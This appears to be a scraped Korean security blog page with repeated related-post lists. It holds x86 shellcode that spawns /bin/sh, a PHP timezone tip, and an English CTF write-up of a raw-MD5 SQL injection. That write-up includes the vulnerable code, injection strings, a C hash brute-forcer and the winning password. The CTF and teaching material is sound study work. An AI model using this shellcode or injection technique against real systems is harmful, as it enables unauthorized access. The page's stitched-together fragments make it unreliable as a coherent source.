http://blog.naver.com/cache798?Redirect=Log&logNo=130062020309
mysql 설정을 해주고
$string = iconv("UTF-8","CP949",$_POST['cmd']);
| php 업로드 코드 부분 코드 (필터적용 인젝션 방지) code of php file upload (adding fillter and defend of injection) (0) | 2012.03.25 |
|---|---|
| php 썸네일 함수 구현 부분 (0) | 2012.03.21 |
| php 5.3 으로 넘어가면서 생기는 date 함수 오류 (0) | 2012.03.21 |
| 자바스크립트 jquery 로 둥근 모서리 효과 주기 (0) | 2012.03.21 |
| jquery mobile 중 포커스 없애는 구문.. (0) | 2012.03.21 |
| 시스템 바이너리 문제 다운 받아 분석하는 방법 (System Binary file Download method in remote enviroment) (1) | 2012.03.23 |
|---|---|
| 원격지 login 인자값 넘기기 (0) | 2012.03.21 |
| 어셈과 C언어를 넘나 들어 보자~ (0) | 2012.03.21 |
| 레지스터 이해와 어셈블리 더블 포인터의 이해 (0) | 2012.03.21 |
| gdb 사용법 우분투에서 연습하기. (0) | 2012.03.21 |
| 원격지 login 인자값 넘기기 (0) | 2012.03.21 |
|---|---|
| 인드라 형님의 쉘코드 만들기 mkdir 과 execve 함수를 쉘코드 만들기 동영상 강좌 (0) | 2012.03.21 |
| 레지스터 이해와 어셈블리 더블 포인터의 이해 (0) | 2012.03.21 |
| gdb 사용법 우분투에서 연습하기. (0) | 2012.03.21 |
| %2f 가 없는 쉘코드 (shellcode without %2f code) (0) | 2012.03.21 |
| 인드라 형님의 쉘코드 만들기 mkdir 과 execve 함수를 쉘코드 만들기 동영상 강좌 (0) | 2012.03.21 |
|---|---|
| 어셈과 C언어를 넘나 들어 보자~ (0) | 2012.03.21 |
| gdb 사용법 우분투에서 연습하기. (0) | 2012.03.21 |
| %2f 가 없는 쉘코드 (shellcode without %2f code) (0) | 2012.03.21 |
| 기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩 (0) | 2012.03.21 |
| 어셈과 C언어를 넘나 들어 보자~ (0) | 2012.03.21 |
|---|---|
| 레지스터 이해와 어셈블리 더블 포인터의 이해 (0) | 2012.03.21 |
| %2f 가 없는 쉘코드 (shellcode without %2f code) (0) | 2012.03.21 |
| 기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩 (0) | 2012.03.21 |
| 리눅스 커널 심층 분석 내가 요약한 판.. (0) | 2012.03.21 |
| 레지스터 이해와 어셈블리 더블 포인터의 이해 (0) | 2012.03.21 |
|---|---|
| gdb 사용법 우분투에서 연습하기. (0) | 2012.03.21 |
| 기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩 (0) | 2012.03.21 |
| 리눅스 커널 심층 분석 내가 요약한 판.. (0) | 2012.03.21 |
| 스택옵션 변경하기 (changing Stack option) (랜덤스택 없애기 및 DEP 주기) (1) | 2012.03.21 |
main:
xor %eax,%eax
movb $0x18,%al
int
$0x80
movl %eax,%ebx
movl %ebx,%ecx
xor
%eax,%eax
movb $0x46,%al
int $0x80
xor %edx,%edx
xor %eax,%eax
movb
$0xb,%al
push %edx
push $0x68732f2f
push
$0x6e69622f
movl %esp,%ebx
push %edx
push
%ebx
movl %esp,%ecx
int $0x80
이놈의 쉘코드.. 짤때마다 짜증나게 오류가나네 --
미리 이렇게 올려놔야지...
| 레지스터 이해와 어셈블리 더블 포인터의 이해 (0) | 2012.03.21 |
|---|---|
| gdb 사용법 우분투에서 연습하기. (0) | 2012.03.21 |
| %2f 가 없는 쉘코드 (shellcode without %2f code) (0) | 2012.03.21 |
| 리눅스 커널 심층 분석 내가 요약한 판.. (0) | 2012.03.21 |
| 스택옵션 변경하기 (changing Stack option) (랜덤스택 없애기 및 DEP 주기) (1) | 2012.03.21 |
| 레지스터 이해와 어셈블리 더블 포인터의 이해 (0) | 2012.03.21 |
|---|---|
| gdb 사용법 우분투에서 연습하기. (0) | 2012.03.21 |
| %2f 가 없는 쉘코드 (shellcode without %2f code) (0) | 2012.03.21 |
| 기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩 (0) | 2012.03.21 |
| 스택옵션 변경하기 (changing Stack option) (랜덤스택 없애기 및 DEP 주기) (1) | 2012.03.21 |
phpinfo() [function.phpinfo]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you
most likely misspelled the timezone identifier. We selected 'Asia/Seoul' for 'KST/9.0/no DST' instead
원인이 먼지 삽질하다 찾아내었다..
php5.3은 date.timezone을 설정하지 않으면 php warning 이 출력된다...
그래서 php.ini 화일에서 date.timezone =Asia/Seroul 로 설정해야 한다
| php 썸네일 함수 구현 부분 (0) | 2012.03.21 |
|---|---|
| mysql database 에서 한글 개짐 현상 처리법 (0) | 2012.03.21 |
| 자바스크립트 jquery 로 둥근 모서리 효과 주기 (0) | 2012.03.21 |
| jquery mobile 중 포커스 없애는 구문.. (0) | 2012.03.21 |
| google map api vr3 기본 코드 (0) | 2012.03.21 |
The University of Florida Student Infosec Team competed in the Leet More CTF 2010 yesterday. It was a 24-hour challenge-based event sort of like DEFCON quals. Ian and I made the team some ridiculous Team Kernel Sanders shirts at our hackerspace just before the competition started. The good colonel vs. Lenin: FIGHT!
Here’s a walkthrough/writeup of one of the challenges.
One challenge at yesterday’s CTF was a seemingly-impossible SQL injection worth 300 points. The point of the challenge was to submit a password to a PHP script that would be hashed with MD5 before being used in a query. At first glance, the challenge looked impossible. Here’s the code that was running on the game server:
<?php
require "inc/mysql.inc.php";
?>
<html>
<head><title>Oh, Those Admins!</title></head>
<body><center><h1>Oh, hi!</h1>
<?php
if (isset($_GET['password'])) {
$r = mysql_query("SELECT login FROM admins WHERE password = '" . md5($_GET['password'], true) . "'");
if (mysql_num_rows($r) < 1)
echo "Oh, you shall not pass with that password, Stranger!";
else {
$row = mysql_fetch_assoc($r);
$login = $row['login'];
echo "Oh dear, hello <b>$login</b>!<br/><br/>Oh, and here's the list of all Admins!<table border=1><tr><td>Oh, login!</td><td>Oh, password!</td></tr>";
$r = mysql_query("SELECT * FROM admins");
while ($row = mysql_fetch_assoc($r))
echo "<tr><td>{$row['login']}</td><td>{$row['password']}</td></tr>";
echo "</table>";
}
} else {
?>
<form>Oh, give me your password, Admin!<br/><br/><input type='text' name='password' /><input type='submit' value='»' /></form>
<?php
}
?>
<br/><br/><small>Oh, © 2010 vos!</small></center></body>
</html>
The only injection point was the first mysql_query(). Without the complication of MD5, the vulnerable line of code would have looked like this:
$r = mysql_query("SELECT login FROM admins WHERE password = '" . $_GET['password'] . "'");If the password foobar were submitted to the script, this SQL statement would be executed on the server:
SELECT login FROM admins WHERE password = 'foobar'
That would have been trivial to exploit. I could have submitted the password ' OR 1 = 1; -- instead:
SELECT login FROM admins WHERE password = '' OR 1 = 1; -- '
…which would have returned all the rows from the admins table and tricked the script into granting me access to the page.
However, this challenge was much more difficult than that. Since PHP’s md5()function was encrypting the password first, this was what was being sent to the server :
SELECT login FROM admins WHERE password = '[output of md5 function]'
So how could I possibly inject SQL when MD5 would destroy whatever I supplied?
The trick in this challenge was that PHP’s md5() function can return its output in either hex or raw form. Here’s md5()’s method signature:
string md5( string $str [, bool $raw_output = false] )
If the second argument to MD5 is true, it will return ugly raw bits instead of a nice hex string. Raw MD5 hashes are dangerous in SQL statements because they can contain characters with special meaning to MySQL. The raw data could, for example, contain quotes (' or ") that would allow SQL injection.
I used this fact to create a raw MD5 hash that contained SQL injection code.
In order to spend the least possible time brute forcing MD5 hashes, I tried to think of the shortest possible SQL injection. I came up with one only 6 characters long:
'||1;#
I quickly wrote a C program to see how fast I could brute force MD5. My netbook could compute about 500,000 MD5 hashes per second using libssl’s MD5 functions. My quick (and possibly wrong) math told me every hash had a 1 in 28 trillion chance of containing my desired 6-character injection string.
So that would only take 2 years at 500,000 hashes per second.
If I could shorten my injection string by even one character, I would reduce the number of hash calculations by a factor of 256. After thinking about the problem for a while and playing around a lot with MySQL, I was able to shorten my injection to only 5 characters:
'||'1
This would produce an SQL statement like this (assuming my injection happened to fall in about the middle of the MD5 hash and pretending xxxx is random data):
SELECT login FROM admins WHERE password = 'xxx'||'1xxxxxxxx'
|| is equivalent to OR, and a string starting with a 1 is cast as an integer when used as a boolean. Therefore, my injection would be equivalent to this:
SELECT login FROM admins WHERE password = 'xxx' OR 1
By Just removing a single character, that got me down to 2.3 days' worth of calculation. Still not fast enough, but getting closer.
Since any number from 1 to 9 would work in my injection, I could shorten my injection string to just '||' and then check to see if the injection string were followed by a digit from 1 to 9 (a very cheap check). This would simultaneously reduce my MD5 calculations by a factor of 256 and make it 9 times as likely that I’d find a usable injection string.
And since || is the same as OR, I could check for it too (2x speedup) and all its case variations (16x speedup). Running my program on a remote dual-core desktop instead of my netbook got me another 10x speedup.
After computing only 19 million MD5 hashes, my program found an answer:
content: 129581926211651571912466741651878684928 count: 18933549 hex: 06da5430449f8f6f23dfc1276f722738 raw: ?T0D??o#??'or'8.N=?
So I submitted the password 129581926211651571912466741651878684928 to the PHP script, and it worked! I was able to see this table:
The last step of the challenge was to turn the MD5 hash into a password. I could have used a brute forcer like John, but instead I just searched Google. The password had been cracked by opencrack.hashkiller.com and was 13376843.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <openssl/evp.h>
// compile with: gcc -lssl find.c
int main(void) {
EVP_MD_CTX mdctx;
unsigned char md_value[EVP_MAX_MD_SIZE];
unsigned int md_len;
int i = 0;
int r, r1, r2, r3;
char rbuf[100];
char *match;
srand(time(0));
while(1) {
i++;
if(i % 100000 == 0) {
printf("i = %d\n", i);
}
// pick a random string made of digits
r = rand(); r1 = rand(); r2 = rand(); r3 = rand();
sprintf(rbuf, "%d%d%d%d", r, r1, r2, r3);
// calculate md5
EVP_DigestInit(&mdctx, EVP_md5());
EVP_DigestUpdate(&mdctx, rbuf, (size_t) strlen(rbuf));
EVP_DigestFinal_ex(&mdctx, md_value, &md_len);
EVP_MD_CTX_cleanup(&mdctx);
// find || or any case of OR
match = strstr(md_value, "'||'");
if(match == NULL) match = strcasestr(md_value, "'or'");
if(match != NULL && match[4] > '0' && match[4] <= '9') {
printf("content: %s\n", (char *)rbuf);
printf("count: %d\n", i);
printf("hex: ");
for(i = 0; i < md_len; i++)
printf("%02x", md_value[i]);
printf("\n");
printf("raw: %s\n", md_value);
exit(0);
}
}
}
| php://filter for local file inclusion LFI 취약점의 이용 (0) | 2012.08.13 |
|---|---|
| SQL injection 중 괜찮은 방법들.. (0) | 2012.08.12 |
| sql injection awk 를 이용하여 빠르게 점검하기. (0) | 2012.08.12 |
| XSS 다양한 우회 패턴 (0) | 2012.08.08 |
| PHP-CGI 취약점. php 소스 보기 FRI 걸기 (0) | 2012.07.19 |
